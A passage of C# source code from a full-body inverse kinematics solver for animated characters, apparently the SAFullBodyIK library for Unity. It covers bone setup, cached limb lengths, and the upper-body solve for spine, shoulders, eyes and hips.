fullBodyIK, LimbIK[] limbIK ) { Assert( fullBodyIK != null ); _limbIK = limbIK; _settings = fullBodyIK.settings; _internalValues = fullBodyIK.internalValues; _hipsBone = _PrepareBone( fullBodyIK.bodyBones.hips ); _neckBone = _PrepareBone( fullBodyIK.headBones.neck ); _headBone = _PrepareBone( fullBodyIK.headBones.head ); _hipsEffector = fullBodyIK.bodyEffectors.hips; _neckEffector = fullBodyIK.headEffectors.neck; _headEffector = fullBodyIK.headEffectors.head; _eyesEffector = fullBodyIK.headEffectors.eyes; _armEffectors[0] = fullBodyIK.leftArmEffectors.arm; _armEffectors[1] = fullBodyIK.rightArmEffectors.arm; _elbowEffectors[0] = fullBodyIK.leftArmEffectors.elbow; _elbowEffectors[1] = fullBodyIK.rightArmEffectors.elbow; _wristEffectors[0] = fullBodyIK.leftArmEffectors.wrist; _wristEffectors[1] = fullBodyIK.rightArmEffectors.wrist; _kneeEffectors[0] = fullBodyIK.leftLegEffectors.knee; _kneeEffectors[1] = fullBodyIK.rightLegEffectors.knee; _footEffectors[0] = fullBodyIK.leftLegEffectors.foot; _footEffectors[1] = fullBodyIK.rightLegEffectors.foot; _spineBones = _PrepareSpineBones( fullBodyIK.bones ); if( _spineBones != null && _spineBones.Length > 0 ) { int spineLength = _spineBones.Length; _spineBone = _spineBones[0]; _spineUBone = _spineBones[spineLength - 1]; _spineEnabled = new bool[spineLength]; } // Memo: These should be pair bones.(Necessary each side bones.) _kneeBones = _PrepareBones( fullBodyIK.leftLegBones.knee, fullBodyIK.rightLegBones.knee ); _elbowBones = _PrepareBones( fullBodyIK.leftArmBones.elbow, fullBodyIK.rightArmBones.elbow ); _legBones = _PrepareBones( fullBodyIK.leftLegBones.leg, fullBodyIK.rightLegBones.leg ); _armBones = _PrepareBones( fullBodyIK.leftArmBones.arm, fullBodyIK.rightArmBones.arm ); _shoulderBones = _PrepareBones( fullBodyIK.leftArmBones.shoulder, fullBodyIK.rightArmBones.shoulder ); _nearArmBones = (_shoulderBones != null) ? _shoulderBones : _nearArmBones; _Prepare( fullBodyIK ); } static Bone[] _PrepareSpineBones( Bone[] bones ) { if( bones == null || bones.Length != (int)BoneLocation.Max ) { Assert( false ); return null; } int spineLength = 0; for( int i = (int)BoneLocation.Spine; i <= (int)BoneLocation.SpineU; ++i ) { if( bones[i] != null && bones[i].transformIsAlive ) { ++spineLength; } } if( spineLength == 0 ) { return null; } Bone[] spineBones = new Bone[spineLength]; int index = 0; for( int i = (int)BoneLocation.Spine; i <= (int)BoneLocation.SpineU; ++i ) { if( bones[i] != null && bones[i].transformIsAlive ) { spineBones[index] = bones[i]; ++index; } } return spineBones; } void _Prepare( FullBodyIK fullBodyIK ) { if( _spineBones != null ) { int spineLength = _spineBones.Length; _spineDirXRate = new float[spineLength]; if( spineLength > 1 ) { _spinePrevCenterArmToChildBasis = new Matrix3x3[spineLength - 1]; _spineCenterArmToChildBasis = new Matrix3x3[spineLength - 1]; for( int i = 0; i != spineLength - 1; ++i ) { _spinePrevCenterArmToChildBasis[i] = Matrix3x3.identity; _spineCenterArmToChildBasis[i] = Matrix3x3.identity; } } } } bool _isSyncDisplacementAtLeastOnce; void _SyncDisplacement() { // Measure bone length.(Using worldPosition) // Force execution on 1st time. (Ignore case _settings.syncDisplacement == SyncDisplacement.Disable) if( _settings.syncDisplacement == SyncDisplacement.Everyframe || !_isSyncDisplacementAtLeastOnce ) { _isSyncDisplacementAtLeastOnce = true; // Limit for Shoulder. if( _shoulderBones != null ) { for( int i = 0; i != 2; ++i ) { Assert( _shoulderBones[i] != null ); Vector3 dirY = _shoulderBones[i]._localAxisBasis.column1; _shouderLocalAxisYInv[i] = Vector3.Dot( dirY, _internalValues.defaultRootBasis.column1 ) < 0.0f; } } // _defaultCenterEyePos if( _eyesEffector != null ) { _defaultCenterEyePos = _eyesEffector.defaultPosition; } // _defaultCenterLegPos if( _legBones != null ) { _defaultCenterLegPos = (_legBones[0]._defaultPosition + _legBones[1]._defaultPosition) * 0.5f; } // _defaultCenterArmPos, _centerLegToArmBasis, _centerLegToArmBasisInv, _centerLegToArmBoneToBaseBasis, _centerLegToArmBaseToBoneBasis if( _nearArmBones != null ) { _defaultCenterArmPos = (_nearArmBones[1]._defaultPosition + _nearArmBones[0]._defaultPosition) * 0.5f; Vector3 dirX = _nearArmBones[1]._defaultPosition - _nearArmBones[0]._defaultPosition; Vector3 dirY = _defaultCenterArmPos - _defaultCenterLegPos; if( SAFBIKVecNormalize( ref dirY ) && SAFBIKComputeBasisFromXYLockY( out _centerLegToArmBasis, ref dirX, ref dirY ) ) { _centerLegToArmBasisInv = _centerLegToArmBasis.transpose; SAFBIKMatMult( out _centerLegToArmBoneToBaseBasis, ref _centerLegToArmBasisInv, ref _internalValues.defaultRootBasis ); _centerLegToArmBaseToBoneBasis = _centerLegToArmBoneToBaseBasis.transpose; } } _solverCaches.armBones = _armBones; _solverCaches.shoulderBones = _shoulderBones; _solverCaches.nearArmBones = _nearArmBones; _solverCaches.centerLegToNearArmBasis = _centerLegToArmBasis; _solverCaches.centerLegToNearArmBasisInv = _centerLegToArmBasisInv; _solverCaches.centerLegToNaerArmBoneToBaseBasis = _centerLegToArmBoneToBaseBasis; _solverCaches.centerLegToNaerArmBaseToBoneBasis = _centerLegToArmBaseToBoneBasis; _solverCaches.defaultCenterLegPos = _defaultCenterLegPos; _defaultCenterLegToCeterArmLen = SAFBIKVecLength2( ref _defaultCenterLegPos, ref _defaultCenterArmPos ); if( _footEffectors != null ) { if( _footEffectors[0].bone != null && _footEffectors[1].bone != null ) { _defaultCenterLegLen = SAFBIKVecLength2( ref _footEffectors[0].bone._defaultPosition, ref _footEffectors[1].bone._defaultPosition ); _defaultCenterLegHalfLen = _defaultCenterLegLen * 0.5f; } } if( _spineBone != null && _legBones != null ) { if( _ComputeCenterLegBasis( out _centerLegBoneBasis, ref _spineBone._defaultPosition, ref _legBones[0]._defaultPosition, ref _legBones[1]._defaultPosition ) ) { _centerLegBoneBasisInv = _centerLegBoneBasis.transpose; } } // for UpperSolve. if( _armBones != null ) { if( _shoulderBones != null ) { for( int i = 0; i != 2; ++i ) { _shoulderToArmLength[i] = _armBones[i]._defaultLocalLength.length; } } _solverCaches.armToArmLen = SAFBIKVecLength2( ref _armBones[0]._defaultPosition, ref _armBones[1]._defaultPosition ); } if( _nearArmBones != null ) { _defaultNearArmToNearArmLen = SAFBIKVecLength2( ref _nearArmBones[0]._defaultPosition, ref _nearArmBones[1]._defaultPosition ); if( _neckBone != null && _neckBone.transformIsAlive ) { _solverCaches.nearArmToNeckLength[0] = SAFBIKVecLength2( ref _neckBone._defaultPosition, ref _nearArmBones[0]._defaultPosition ); _solverCaches.nearArmToNeckLength[1] = SAFBIKVecLength2( ref _neckBone._defaultPosition, ref _nearArmBones[1]._defaultPosition ); } } if( _neckBone != null && _headBone != null ) { _solverCaches.neckToHeadLength = SAFBIKVecLength2( ref _neckBone._defaultPosition, ref _headBone._defaultPosition ); } _solverCaches.shoulderToArmLength = _shoulderToArmLength; _solverCaches.nearArmToNearArmLen = _defaultNearArmToNearArmLen; if( _kneeBones != null && _footEffectors != null ) { for( int i = 0; i != 2; ++i ) { Bone bendingBone = _kneeBones[i]; Bone endBone = _footEffectors[i].bone; _kneeEffectorMaxLength[i] = bendingBone._defaultLocalLength; _footEffectorMaxLength[i] = FastLength.FromLength( bendingBone._defaultLocalLength.length + endBone._defaultLocalLength.length ); } } if( _elbowBones != null && _wristEffectors != null ) { for( int i = 0; i != 2; ++i ) { Bone bendingBone = _elbowBones[i]; Bone endBone = _wristEffectors[i].bone; _elbowEffectorMaxLength[i] = bendingBone._defaultLocalLength; _wristEffectorMaxLength[i] = FastLength.FromLength( bendingBone._defaultLocalLength.length + endBone._defaultLocalLength.length ); } } if( _spineBones != null ) { if( (_nearArmBones != null || _legBones != null) && _neckBone != null && _neckBone.transformIsAlive ) { //Vector3 armDirX = (_nearArmBones != null) // ? (_nearArmBones[1]._defaultPosition - _nearArmBones[0]._defaultPosition) // : (_legBones[1]._defaultPosition - _legBones[0]._defaultPosition); Vector3 armDirX = _internalValues.defaultRootBasis.column0; int spineLength = _spineBones.Length; for( int i = 0; i < spineLength - 1; ++i ) { Matrix3x3 prevToCenterArmBasis; Matrix3x3 currToNeckBasis; Vector3 prevPos = (i != 0) ? _spineBones[i - 1]._defaultPosition : _defaultCenterLegPos; Vector3 dirY0 = _defaultCenterArmPos - prevPos; Vector3 dirY1 = _defaultCenterArmPos - _spineBones[i]._defaultPosition; if( !SAFBIKVecNormalize2( ref dirY0, ref dirY1 ) ) { continue; } if( !SAFBIKComputeBasisFromXYLockY( out prevToCenterArmBasis, ref armDirX, ref dirY0 ) || !SAFBIKComputeBasisFromXYLockY( out currToNeckBasis, ref armDirX, ref dirY1 ) ) { continue; } SAFBIKMatMultInv0( out _spinePrevCenterArmToChildBasis[i], ref prevToCenterArmBasis, ref _spineBones[i]._localAxisBasis ); SAFBIKMatMultInv0( out _spineCenterArmToChildBasis[i], ref currToNeckBasis, ref _spineBones[i]._localAxisBasis ); } } } } } public bool Solve() { bool isEffectorEnabled = _IsEffectorEnabled(); if( !isEffectorEnabled && !_settings.bodyIK.forceSolveEnabled ) { return false; } _SyncDisplacement(); if( !_PrepareSolverInternal() ) { return false; } var temp = _solverInternal; if( !_internalValues.resetTransforms ) { if( temp.spinePos != null ) { for( int i = 0; i != _spineBones.Length; ++i ) { if( _spineBones[i] != null ) { temp.spinePos[i] = _spineBones[i].worldPosition; } } } if( _neckBone != null ) { temp.neckPos = _neckBone.worldPosition; } if( _headBone != null ) { temp.headPos = _headBone.worldPosition; } if( temp.shoulderPos != null ) { for( int i = 0; i < 2; ++i ) { temp.shoulderPos[i] = _shoulderBones[i].worldPosition; } } if( temp.armPos != null ) { for( int i = 0; i != 2; ++i ) { temp.armPos[i] = _armBones[i].worldPosition; } } if( temp.legPos != null ) { for( int i = 0; i != 2; ++i ) { temp.legPos[i] = _legBones[i].worldPosition; } } temp.SetDirtyVariables(); } if( _internalValues.resetTransforms ) { _ResetTransforms(); } else if( _internalValues.animatorEnabled ) { _PresolveHips(); } if( !_internalValues.resetTransforms ) { if( _settings.bodyIK.shoulderSolveEnabled ) { _ResetShoulderTransform(); } } // Arms, Legs (Need calls after _ResetTransform() / _PresolveHips() / _ResetShoulderTransform().) // (Using temp.armPos[] / temp.legPos[]) _solverInternal.arms.Prepare( _elbowEffectors, _wristEffectors ); _solverInternal.legs.Prepare( _kneeEffectors, _footEffectors ); #if SAFULLBODYIK_DEBUG bool _isVisibleWorldTransform = true; _internalValues.UpdateDebugValue( "_isVisibleWorldTransform", ref _isVisibleWorldTransform ); #endif if( _settings.bodyIK.lowerSolveEnabled ) { _LowerSolve( true ); } if( _settings.bodyIK.upperSolveEnabled ) { _UpperSolve(); } if( _settings.bodyIK.lowerSolveEnabled ) { _LowerSolve( false ); } if( _settings.bodyIK.shoulderSolveEnabled ) { _ShoulderResolve(); } if( _settings.bodyIK.computeWorldTransform ) { _ComputeWorldTransform(); } #if SAFULLBODYIK_DEBUG if( _isVisibleWorldTransform ) { _internalValues.AddDebugPoint( temp.centerLegPos ); if( temp.spinePos != null ) { for( int i = 0; i < temp.spinePos.Length; ++i ) { _internalValues.AddDebugPoint( temp.spinePos[i] ); } } _internalValues.AddDebugPoint( temp.neckPos ); for( int i = 0; i < 2; ++i ) { if( temp.shoulderPos != null ) { _internalValues.AddDebugPoint( temp.shoulderPos[i] ); } _internalValues.AddDebugPoint( temp.armPos[i] ); _internalValues.AddDebugPoint( temp.legPos[i] ); } } #endif return true; } bool _UpperSolve() { var temp = _solverInternal; Assert( temp != null ); float hipsPull = _hipsEffector.positionEnabled ? _hipsEffector.pull : 0.0f; float neckPull = _solverCaches.neckPull; float headPull = _solverCaches.headPull; float eyesRate = _solverCaches.eyesRate; // pull * positionWeight float[] armPull = _solverCaches.armPull; float[] elbowPull = _solverCaches.elbowPull; float[] wristPull = _solverCaches.wristPull; if( _settings.bodyIK.forceSolveEnabled ) { // Nothing. } else { if( hipsPull <= IKEpsilon && neckPull <= IKEpsilon && headPull <= IKEpsilon && eyesRate <= IKEpsilon && armPull[0] <= IKEpsilon && armPull[1] <= IKEpsilon && elbowPull[0] <= IKEpsilon && elbowPull[1] <= IKEpsilon && wristPull[0] <= IKEpsilon && wristPull[1] <= IKEpsilon ) { return false; // No moved. } } Vector3 baseCenterLegPos = Vector3.zero; // for continuousSolver bool continuousSolverEnabled = _internalValues.continuousSolverEnabled; // Preprocess for armPos / armPos2 if( continuousSolverEnabled ) { Matrix3x3 centerLegBasis; _UpperSolve_PresolveBaseCenterLegTransform( out baseCenterLegPos, out centerLegBasis ); temp.Backup(); // for Testsolver. if( _spineBones != null ) { for( int i = 0; i < _spineBones.Length; ++i ) { SAFBIKMatMultVecPreSubAdd( out temp.spinePos[i], ref centerLegBasis, ref _spineBones[i]._defaultPosition, ref _defaultCenterLegPos, ref baseCenterLegPos ); } } if( _neckBone != null ) { SAFBIKMatMultVecPreSubAdd( out temp.neckPos, ref centerLegBasis, ref _neckBone._defaultPosition, ref _defaultCenterLegPos, ref baseCenterLegPos ); } if( _headBone != null && temp.headEnabled ) { SAFBIKMatMultVecPreSubAdd( out temp.headPos, ref centerLegBasis, ref _headBone._defaultPosition, ref _defaultCenterLegPos, ref baseCenterLegPos ); } for( int n = 0; n < 2; ++n ) { if( _shoulderBones != null ) { SAFBIKMatMultVecPreSubAdd( out temp.shoulderPos[n], ref centerLegBasis, ref _shoulderBones[n]._defaultPosition, ref _defaultCenterLegPos, ref baseCenterLegPos ); } if( _armBones != null ) { SAFBIKMatMultVecPreSubAdd( out temp.armPos[n], ref centerLegBasis, ref _armBones[n]._defaultPosition, ref _defaultCenterLegPos, ref baseCenterLegPos ); } if( _legBones != null ) { SAFBIKMatMultVecPreSubAdd( out temp.legPos[n], ref centerLegBasis, ref _legBones[n]._defaultPosition, ref _defaultCenterLegPos, ref baseCenterLegPos ); } } temp.SetDirtyVariables(); } temp.UpperSolve(); float upperLerpDir1Rate = _internalValues.bodyIK.upperCenterLegRotateRate.value; float upperLerpDir2Rate = _internalValues.bodyIK.upperSpineRotateRate.value; float upperLerpPos1Rate = _internalValues.bodyIK.upperCenterLegTranslateRate.value; float upperLerpPos2Rate = _internalValues.bodyIK.upperSpineTranslateRate.value; Vector3 targetCenterArmPos = temp.targetCenterArmPos; Vector3 targetCenterArmDir = temp.targetCenterArmDir; Vector3 currentCenterArmPos = temp.currentCenterArmPos; Vector3 currentCenterArmDir = temp.currentCenterArmDir; Vector3 centerArmDirX = _LerpDir( ref currentCenterArmDir, ref targetCenterArmDir, upperLerpDir1Rate ); Vector3 centerArmDirX2 = _LerpDir( ref currentCenterArmDir, ref targetCenterArmDir, upperLerpDir2Rate ); Vector3 centerArmPos, centerArmPos2; Vector3 centerArmDirY, centerArmDirY2; centerArmPos = Vector3.Lerp( currentCenterArmPos, targetCenterArmPos, upperLerpPos1Rate ); centerArmPos2 = Vector3.Lerp( currentCenterArmPos, targetCenterArmPos, upperLerpPos2Rate ); centerArmDirY = centerArmPos - temp.centerLegPos; centerArmDirY2 = centerArmPos2 - temp.centerLegPos; if( !SAFBIKVecNormalize2( ref centerArmDirY, ref centerArmDirY2 ) ) { return false; } if( _settings.bodyIK.upperDirXLimitEnabled ) { if( _internalValues.bodyIK.upperDirXLimitThetaY.sin <= IKEpsilon ) { if( !_FitToPlaneDir( ref centerArmDirX, centerArmDirY ) || !_FitToPlaneDir( ref centerArmDirX2, centerArmDirY2 ) ) { return false; } } else { if( !_LimitToPlaneDirY( ref centerArmDirX, centerArmDirY, _internalValues.bodyIK.upperDirXLimitThetaY.sin ) || !_LimitToPlaneDirY( ref centerArmDirX2, centerArmDirY2, _internalValues.bodyIK.upperDirXLimitThetaY.sin ) ) { return false; } } } // Limit for spine. if( _settings.bodyIK.spineLimitEnabled ) { float spineLimitAngleX = _internalValues.bodyIK.spineLimitAngleX.value; float spineLimitAngleY = _internalValues.bodyIK.spineLimitAngleY.value; if( _settings.bodyIK.spineAccurateLimitEnabled ) { // Quaternion lerp. float fromToX = Vector3.Dot( centerArmDirX, centerArmDirX2 ); float fromToXAng = SAFBIKAcos( fromToX ); if( fromToXAng > spineLimitAngleX ) { Vector3 axisDir = Vector3.Cross( centerArmDirX, centerArmDirX2 ); if( SAFBIKVecNormalize( ref axisDir ) ) { Quaternion q = Quaternion.AngleAxis( _settings.bodyIK.spineLimitAngleX, axisDir ); Matrix3x3 rotateBasis; SAFBIKMatSetRot( out rotateBasis, ref q ); SAFBIKMatMultVec( out centerArmDirX2, ref rotateBasis, ref centerArmDirX ); } } float fromToY = Vector3.Dot( centerArmDirY, centerArmDirY2 ); float fromToYAng = SAFBIKAcos( fromToY ); if( fromToYAng > spineLimitAngleY ) { Vector3 axisDir = Vector3.Cross( centerArmDirY, centerArmDirY2 ); if( SAFBIKVecNormalize( ref axisDir ) ) { Quaternion q = Quaternion.AngleAxis( _settings.bodyIK.spineLimitAngleY, axisDir ); Matrix3x3 rotateBasis; SAFBIKMatSetRot( out rotateBasis, ref q ); SAFBIKMatMultVec( out centerArmDirY2, ref rotateBasis, ref centerArmDirY ); } } } else { // Lienar lerp. // Recompute centerLegToArmBoneBasisTo2( for Spine ) float fromToX = Vector3.Dot( centerArmDirX, centerArmDirX2 ); float fromToXAng = SAFBIKAcos( fromToX ); if( fromToXAng > spineLimitAngleX ) { if( fromToXAng > IKEpsilon ) { float balancedRate = spineLimitAngleX / fromToXAng; Vector3 dirX2Balanced = Vector3.Lerp( centerArmDirX, centerArmDirX2, balancedRate ); if( SAFBIKVecNormalize( ref dirX2Balanced ) ) { centerArmDirX2 = dirX2Balanced; } } } // Pending: spine stiffness.(Sin scale to balanced rate.) float fromToY = Vector3.Dot( centerArmDirY, centerArmDirY2 ); float fromToYAng = SAFBIKAcos( fromToY ); if( fromToYAng > spineLimitAngleY ) { if( fromToYAng > IKEpsilon ) { float balancedRate = spineLimitAngleY / fromToYAng; Vector3 dirY2Balanced = Vector3.Lerp( centerArmDirY, centerArmDirY2, balancedRate ); if( SAFBIKVecNormalize( ref dirY2Balanced ) ) { centerArmDirY2 = dirY2Balanced; } } } } } // This is missing. todo: Fix Vector3 presolveCenterLegPos = temp.centerLegPos; // for continuousSolverEnabled // for eyes. // presolvedCenterLegPos2 = presolveCenterLegPos + presolved postTranslate. Vector3 presolvedCenterLegPos2 = temp.centerLegPos; if( eyesRate > IKEpsilon ) { Vector3 source = temp.centerLegPos + centerArmDirY2 * _defaultCenterLegToCeterArmLen; presolvedCenterLegPos2 += temp.targetCenterArmPos - source; } // Eyes if( eyesRate > IKEpsilon ) { // Based on centerArmDirX2 / centerArmDirY2 Matrix3x3 toBasis; if( SAFBIKComputeBasisFromXYLockY( out toBasis, ref centerArmDirX2, ref centerArmDirY2 ) ) { Matrix3x3 toBasisGlobal; SAFBIKMatMult( out toBasisGlobal, ref toBasis, ref _centerLegToArmBasisInv ); Matrix3x3 fromBasis = toBasis; SAFBIKMatMultRet0( ref toBasis, ref _centerLegToArmBoneToBaseBasis ); Vector3 eyePos; SAFBIKMatMultVecPreSubAdd( out eyePos, ref toBasisGlobal, ref _defaultCenterEyePos, ref _defaultCenterLegPos, ref presolvedCenterLegPos2 ); Vector3 eyeDir = _eyesEffector.worldPosition - eyePos; // Memo: Not use _eyesEffector._hidden_worldPosition { float upperEyesXLimit = _internalValues.bodyIK.upperEyesLimitYaw.sin; float upperEyesYUpLimit = _internalValues.bodyIK.upperEyesLimitPitchUp.sin; float upperEyesYDownLimit = _internalValues.bodyIK.upperEyesLimitPitchDown.sin; SAFBIKMatMultVecInv( out eyeDir, ref toBasis, ref eyeDir ); // to Local eyeDir.x *= _settings.bodyIK.upperEyesYawRate; if( eyeDir.y >= 0.0f ) { eyeDir.y *= _settings.bodyIK.upperEyesPitchUpRate; } else { eyeDir.y *= _settings.bodyIK.upperEyesPitchDownRate; } SAFBIKVecNormalize( ref eyeDir ); if( _ComputeEyesRange( ref eyeDir, _internalValues.bodyIK.upperEyesTraceTheta.cos ) ) { _LimitXY( ref eyeDir, upperEyesXLimit, upperEyesXLimit, upperEyesYDownLimit, upperEyesYUpLimit ); } SAFBIKMatMultVec( out eyeDir, ref toBasis, ref eyeDir ); // to Global { Vector3 xDir = toBasis.column0; Vector3 yDir = toBasis.column1; Vector3 zDir = eyeDir; if( SAFBIKComputeBasisLockZ( out toBasis, ref xDir, ref yDir, ref zDir ) ) { // Nothing. } } } SAFBIKMatMultRet0( ref toBasis, ref _centerLegToArmBaseToBoneBasis ); float upperEyesRate1 = _settings.bodyIK.upperEyesToCenterLegRate * eyesRate; float upperEyesRate2 = _settings.bodyIK.upperEyesToSpineRate * eyesRate; Matrix3x3 solveBasis; if( upperEyesRate2 > IKEpsilon ) { SAFBIKMatFastLerp( out solveBasis, ref fromBasis, ref toBasis, upperEyesRate2 ); centerArmDirX2 = solveBasis.column0; centerArmDirY2 = solveBasis.column1; } if( upperEyesRate1 > IKEpsilon ) { if( SAFBIKComputeBasisFromXYLockY( out fromBasis, ref centerArmDirX, ref centerArmDirY ) ) { SAFBIKMatFastLerp( out solveBasis, ref fromBasis, ref toBasis, upperEyesRate1 ); centerArmDirX = solveBasis.column0; centerArmDirY = solveBasis.column1; } } } } if( continuousSolverEnabled ) { // Salvage bone positions at end of testsolver. temp.Restore(); temp.UpperSolve(); } int spineLength = (_spineBones != null) ? (_spineBones.Length) : 0; float stableCenterLegRate = _settings.bodyIK.upperContinuousCenterLegRotationStableRate; // centerLeg(Hips) if( _settings.bodyIK.upperSolveHipsEnabled ) { Matrix3x3 toBasis; if( SAFBIKComputeBasisFromXYLockY( out toBasis, ref centerArmDirX, ref centerArmDirY ) ) { Matrix3x3 rotateBasis = Matrix3x3.identity; if( _internalValues.animatorEnabled || _internalValues.resetTransforms ) { // for animatorEnabled or resetTransform(Base on armPos) if( continuousSolverEnabled && stableCenterLegRate > IKEpsilon ) { Matrix3x3 presolveCenterLegBasis = Matrix3x3.identity; Vector3 solveDirY = centerArmPos - presolveCenterLegPos; Vector3 solveDirX = centerArmDirX; if( SAFBIKVecNormalize( ref solveDirY ) && SAFBIKComputeBasisFromXYLockY( out presolveCenterLegBasis, ref solveDirX, ref solveDirY ) ) { Matrix3x3 tempBasis; SAFBIKMatFastLerp( out tempBasis, ref toBasis, ref presolveCenterLegBasis, stableCenterLegRate ); toBasis = tempBasis; } } Matrix3x3 fromBasis; Vector3 currentDirX = temp.nearArmPos[1] - temp.nearArmPos[0]; Vector3 currentDirY = (temp.nearArmPos[1] + temp.nearArmPos[0]) * 0.5f - temp.centerLegPos; if( SAFBIKVecNormalize( ref currentDirY ) && SAFBIKComputeBasisFromXYLockY( out fromBasis, ref currentDirX, ref currentDirY ) ) { SAFBIKMatMultInv1( out rotateBasis, ref toBasis, ref fromBasis ); } } else { // for continuousSolverEnabled.(Base on centerLegBasis) SAFBIKMatMultRet0( ref toBasis, ref _centerLegToArmBasisInv ); if( continuousSolverEnabled && stableCenterLegRate > IKEpsilon ) { Matrix3x3 presolveCenterLegBasis = Matrix3x3.identity; Vector3 solveDirY = centerArmPos - presolveCenterLegPos; Vector3 solveDirX = centerArmDirX; if( SAFBIKVecNormalize( ref solveDirY ) && SAFBIKComputeBasisFromXYLockY( out presolveCenterLegBasis, ref solveDirX, ref solveDirY ) ) { SAFBIKMatMultRet0( ref presolveCenterLegBasis, ref _centerLegToArmBasisInv ); Matrix3x3 tempBasis; SAFBIKMatFastLerp( out tempBasis, ref toBasis, ref presolveCenterLegBasis, stableCenterLegRate ); toBasis = tempBasis; } } Matrix3x3 centerLegBasis = temp.centerLegBasis; SAFBIKMatMultInv1( out rotateBasis, ref toBasis, ref centerLegBasis ); } if( _settings.bodyIK.upperCenterLegLerpRate < 1.0f - IKEpsilon ) { SAFBIKMatFastLerpToIdentity( ref rotateBasis, 1.0f - _settings.bodyIK.upperCenterLegLerpRate ); } temp.UpperRotation( -1, ref rotateBasis ); } } { float centerLegToArmLength = _defaultCenterLegToCeterArmLen; Vector3 centerLegBasisX = temp.centerLegBasis.column0; Vector3 centerArmPosY2 = centerArmDirY2 * centerLegToArmLength + temp.centerLegPos; float upperSpineLerpRate = _settings.bodyIK.upperSpineLerpRate; for( int i = 0; i != spineLength; ++i ) { if( !_spineEnabled[i] ) { continue; } Vector3 origPos = temp.spinePos[i]; if( i + 1 == spineLength ) { Vector3 currentDirX = temp.nearArmPos[1] - temp.nearArmPos[0]; Vector3 currentDirY = temp.centerArmPos - origPos; Vector3 targetDirX = centerArmDirX2; Vector3 targetDirY = centerArmPosY2 - origPos; if( !SAFBIKVecNormalize2( ref currentDirY, ref targetDirY ) ) { continue; // Skip. } Matrix3x3 toBasis; SAFBIKComputeBasisFromXYLockY( out toBasis, ref targetDirX, ref targetDirY ); Matrix3x3 fromBasis; SAFBIKComputeBasisFromXYLockY( out fromBasis, ref currentDirX, ref currentDirY ); Matrix3x3 rotateBasis; SAFBIKMatMultInv1( out rotateBasis, ref toBasis, ref fromBasis ); if( upperSpineLerpRate < 1.0f - IKEpsilon ) { SAFBIKMatFastLerpToIdentity( ref rotateBasis, 1.0f - upperSpineLerpRate ); } temp.UpperRotation( i, ref rotateBasis ); } else { Vector3 childPos = (i + 1 == spineLength) ? temp.neckPos : temp.spinePos[i + 1]; Vector3 prevPos = (i != 0) ? temp.spinePos[i - 1] : temp.centerLegPos; Vector3 currentDirX = temp.nearArmPos[1] - temp.nearArmPos[0]; Vector3 currentDirY = childPos - origPos; Vector3 targetDirX = centerArmDirX2; Vector3 targetDirY = centerArmPosY2 - prevPos; Vector3 targetDirY2 = centerArmPosY2 - origPos; if( !SAFBIKVecNormalize4( ref currentDirX, ref currentDirY, ref targetDirY, ref targetDirY2 ) ) { continue; // Skip. } Matrix3x3 prevToNearArmBasis; Matrix3x3 origToNearArmBasis; if( !SAFBIKComputeBasisFromXYLockY( out prevToNearArmBasis, ref currentDirX, ref targetDirY ) || !SAFBIKComputeBasisFromXYLockY( out origToNearArmBasis, ref currentDirX, ref targetDirY2 ) ) { continue; } // Get prevPos to child dir. SAFBIKMatMultCol1( out targetDirY, ref prevToNearArmBasis, ref _spinePrevCenterArmToChildBasis[i] ); SAFBIKMatMultCol1( out targetDirY2, ref origToNearArmBasis, ref _spineCenterArmToChildBasis[i] ); float spineDirXLegToArmRate = _spineDirXRate[i]; // Simply Lerp.(dirX) currentDirX = Vector3.Lerp( centerLegBasisX, currentDirX, spineDirXLegToArmRate ); targetDirX = Vector3.Lerp( centerLegBasisX, targetDirX, spineDirXLegToArmRate ); // Simply Lerp.(dirY) if( i + 1 != spineLength ) { // Exclude spineU targetDirY = Vector3.Lerp( targetDirY, targetDirY2, _settings.bodyIK.spineDirYLerpRate ); if( !SAFBIKVecNormalize( ref targetDirY ) ) { // Failsafe. targetDirY = currentDirY; } } Matrix3x3 toBasis; SAFBIKComputeBasisFromXYLockY( out toBasis, ref targetDirX, ref targetDirY ); Matrix3x3 fromBasis; SAFBIKComputeBasisFromXYLockY( out fromBasis, ref currentDirX, ref currentDirY ); Matrix3x3 rotateBasis; SAFBIKMatMultInv1( out rotateBasis, ref toBasis, ref fromBasis ); if( upperSpineLerpRate < 1.0f - IKEpsilon ) { SAFBIKMatFastLerpToIdentity( ref rotateBasis, 1.0f - upperSpineLerpRate ); } temp.UpperRotation( i, ref rotateBasis ); } } } _UpperSolve_Translate2( ref _internalValues.bodyIK.upperPostTranslateRate, ref _internalValues.bodyIK.upperContinuousPostTranslateStableRate, ref baseCenterLegPos ); return true; } void _ShoulderResolve() { var temp = _solverInternal; Assert( temp != null ); temp.ShoulderResolve(); } void _UpperSolve_PresolveBaseCenterLegTransform( out Vector3 centerLegPos, out Matrix3x3 centerLegBasis ) { Assert( _internalValues != null && _internalValues.continuousSolverEnabled ); var temp = _solverInternal; var cache = _solverCaches; Assert( temp != null ); Assert( cache != null ); _GetBaseCenterLegTransform( out centerLegPos, out centerLegBasis ); if( _legBones == null || !_legBones[0].transformIsAlive || !_legBones[1].transformIsAlive ) { return; } if( cache.limbLegPull[0] <= IKEpsilon && cache.limbLegPull[1] <= IKEpsilon ) { return; // Pull nothing. } Vector3 legPos0, legPos1; SAFBIKMatMultVecPreSubAdd( out legPos0, ref centerLegBasis, ref _legBones[0]._defaultPosition, ref _defaultCenterLegPos, ref centerLegPos ); SAFBIKMatMultVecPreSubAdd( out legPos1, ref centerLegBasis, ref _legBones[1]._defaultPosition, ref _defaultCenterLegPos, ref centerLegPos ); bool isLimited = false; isLimited |= temp.legs.SolveTargetBeginPos( 0, ref legPos0 ); isLimited |= temp.legs.SolveTargetBeginPos( 1, ref legPos1 ); if( isLimited ) { Vector3 vecX = centerLegBasis.column0 * _defaultCenterLegHalfLen; centerLegPos = Vector3.Lerp( legPos0 + vecX, legPos1 - vecX, cache.limbLegRate ); } } void _UpperSolve_Transform( int origIndex, ref Matrix3x3 transformBasis ) { var temp = _solverInternal; Vector3 origPos = (origIndex == -1) ? temp.centerLegPos : temp.spinePos[origIndex]; for( int i = 0; i != 2; ++i ) { SAFBIKMatMultVecPreSubAdd( out temp.armPos[i], ref transformBasis, ref temp.armPos[i], ref origPos, ref origPos ); if( _shoulderBones != null ) { SAFBIKMatMultVecPreSubAdd( out temp.shoulderPos[i] , ref transformBasis , ref temp.shoulderPos[i] , ref origPos, ref origPos ); } } int spineLength = (_spineBones != null) ? (_spineBones.Length) : 0; for( int spineIndex = origIndex + 1; spineIndex < spineLength; ++spineIndex ) { SAFBIKMatMultVecPreSubAdd( out temp.spinePos[spineIndex], ref transformBasis, ref temp.spinePos[spineIndex], ref 